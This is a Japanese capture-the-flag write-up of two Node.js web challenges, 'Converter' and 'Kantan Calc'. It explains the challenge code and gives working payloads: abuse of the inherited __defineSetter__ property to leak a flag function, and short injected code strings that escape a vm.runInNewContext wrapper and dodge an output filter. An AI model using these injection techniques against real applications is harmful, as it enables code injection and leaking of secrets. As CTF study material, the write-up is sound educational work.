コンバータ#
題目はウェブページで、以下の通りです:
POST の 2 つのパラメータ、 Input
は入力データ、 converter
は選択したコンバータを表します。
ソースコードを分析すると、3 つの converter
があり、異なるエンコード方式を表しています。その中で flagConverter
にはフラグがあります。
しかし、 request.body.converter
には FLAG
を含めることができません。
if (request.body.converter.match(/[FLAG]/)) {
throw new Error("Don't be evil :)");
}
if (request.body.input.length < 20) {
throw new Error('Too short :(');
}
if (request.body.input.length > 1000) {
throw new Error('Too long :(');
}
ここで調査した結果、突破方法は存在しないことがわかりました🤣
分析#
実際に converter
を呼び出すコードに注目すると、入力する 2 つのパラメータ req.body.converter
と req.body.input
があり、 req.body.converter
は converters
のプロパティ名として使われます。つまり、 conveters
の任意のプロパティを制御できることになります(このプロパティ名に FLAG
を含めない限り)。
await new Promise
のコードは、コールバック式の非同期操作を Promise スタイルの操作に変換し、await を使用して実行結果を待つためのものです。無視しても構いません。
さらに、 converters
は const 型であり、毎回 encode
操作を実行するたびに converters
に値を代入します(理論的には直接書き込むだけで良いはずで、毎回リクエストごとに行う必要はありません)。
converters['base64'] = base64Converter;
converters['scrypt'] = scryptConverter;
converters[`FLAG_${request.session.sessionId}`] = flagConverter;
const result = await new Promise((resolve, reject) => {
converters[request.body.converter](request.body.input, (error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
});
});
JS では、オブジェクトのプロパティは見た目は少ないですが、JS 特有のプロトタイプチェーンの継承関係により、 Object
オブジェクトのプロパティも継承されることになります(したがって、これらのプロパティを一つずつ試すことができます)。
この __defineSetter__
プロパティは非常に興味深いもので、オブジェクトのプロパティにプロキシを設定するようなものです。通常の書き方は次のようになります:
const obj = {
a: 1
};
// __defineGetter__ を使用
obj.__defineSetter__('a', function(res) {
console.log("get res: " + res);
});
もし setter を定義した場合、後続の代入時に、代入式の右側の値が setter 関数の最初の引数として渡されます。
したがって、 input= FLAG_***SESSION***
(input には FLAG 文字列を入力することが許可されています)を入力し、 converter = __defineSetter__
とすると、コードは次のようになります:
converters["__defineSetter__"]("FLAG_***SESSION***", (error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
});
このようにして、オブジェクトの FLAG_***SESSION***
に対応する setter を再定義すると、このウェブページはそのまま動作します!
その後、新しいウェブページを開いてアクセスすると、次のようにトリガーされます:
converters[`FLAG_${request.session.sessionId}`] = flagConverter;
すると、 flagConverter
が最初の引数として関数に渡されることがわかります。
(error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
}
この時点で、result の結果は自然に error、すなわち flagConverter.toString()
の結果になります。
最初のウェブページに戻ると、次のように表示されます:
Kantan Calc#
この問題も非常に興味深く、私が見た中で比較的新しい JS コード監査の手法であり、巧妙にサンドボックスの脱出を利用して誤解を招くもので、実際には JS で非常に一般的な特性を利用しています。
CTF のクラシックな計算機のフロントエンド:
コードを見てみましょう:
app.get('/', function (req, res, next) {
let output = '';
const code = req.query.code + '';
console.log(code.length); // 入力されたコードの長さを表示
if (code && code.length < 30) {
try {
const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), { timeout: 100 });
output = result + '';
if (output.includes('flag')) {
output = 'Error: please do not exfiltrate the flag';
}
} catch (e) {
output = 'Error: error occurred';
}
} else {
output = 'Error: invalid code';
}
res.render('index', { title: 'Kantan Calc', output });
});
重要なコードは vm.runInNewContext
の行であり、入力された内容がコードとして実行されます。例えば、 2*2
を入力すると、実際に vm で実行されるコードは次のようになります:
'use strict';
(
function(){
return 2*2; /* flag{fake_flag} */
}
)()
実際には即時実行関数ですが、ここで注意が必要です:
vm.runInNewContext('', Object.create(null))
Object.create(null)
は実際にはプロトタイプチェーンを持たないオブジェクトを作成し、絶対に「クリーン」なオブジェクトです。
したがって、最も一般的なサンドボックスの脱出方法は不可能です(私は書くのが面倒です)。
解法#
JavaScript では、関数本体を文字列に変換することで関数本体を取得できます:
function a() {}
console.log(a+'')
// "function a() {}"
これにより、コード内のフラグ注釈情報を表示させることができますが、表示されても後の if でブロックされるでしょう。どうすればよいのでしょうか?
答えは配列です。関数の toString 弱型変換を利用して、char 配列を返します(if 検出を回避しつつ)、同時にペイロードの長さを 30 未満に保ちます。
まず、前の関数を閉じて、新しい関数を開きます。つまり、入力は次のようになります:
},function p(){return[...p+1]
この時点で:
'use strict';
(
function(){
return
},
function p(){return[...p+1]; /* flag{fake_flag} */
}
)()
このように、2 番目の関数 p が実行されるとき、加算が先に実行され、文字列として取得され、配列に解構され、検出を回避します。
wp を見ていると、別のアプローチも発見しました:
[...arguments[0]+0]})(a=>{
実際に実行されるコードは:
'use strict';
(
function(){
return [...arguments[0]+0]}
)
(a=>{
; /* flag{fake_flag} */
}
)()
これは、最初に関数を定義しています。
(
function(){
return [...arguments[0]+0]
}
)
そして、呼び出すときに引数を渡します、 (a => {;/*flag{fake_flag}*/})
、したがって、この関数は自然に引数 arguments
として渡されます。同様の理屈です(ただし、この場合はエラーが発生します。なぜなら、返されるのは配列であり、関数呼び出しを続行できないからです)。
まとめ#
これらの 2 つの問題も Docker イメージとしてパッケージ化されており、必要な方は自分で取得できます:
docker run -d --restart=always -p 3000:3000 rayepeng/kantan_calc:latest
docker run -d --restart=always -p 3000:3000 rayepeng/convert:latest
実際、JS の多くの特性は問題作成に利用できますが、PHP のようにさまざまなバリエーションや面白いコード監査の問題が少ないです。今後はここで多く考え、自分でもいくつかの面白い JS 特性を組み合わせた監査問題を出してみたいと思います。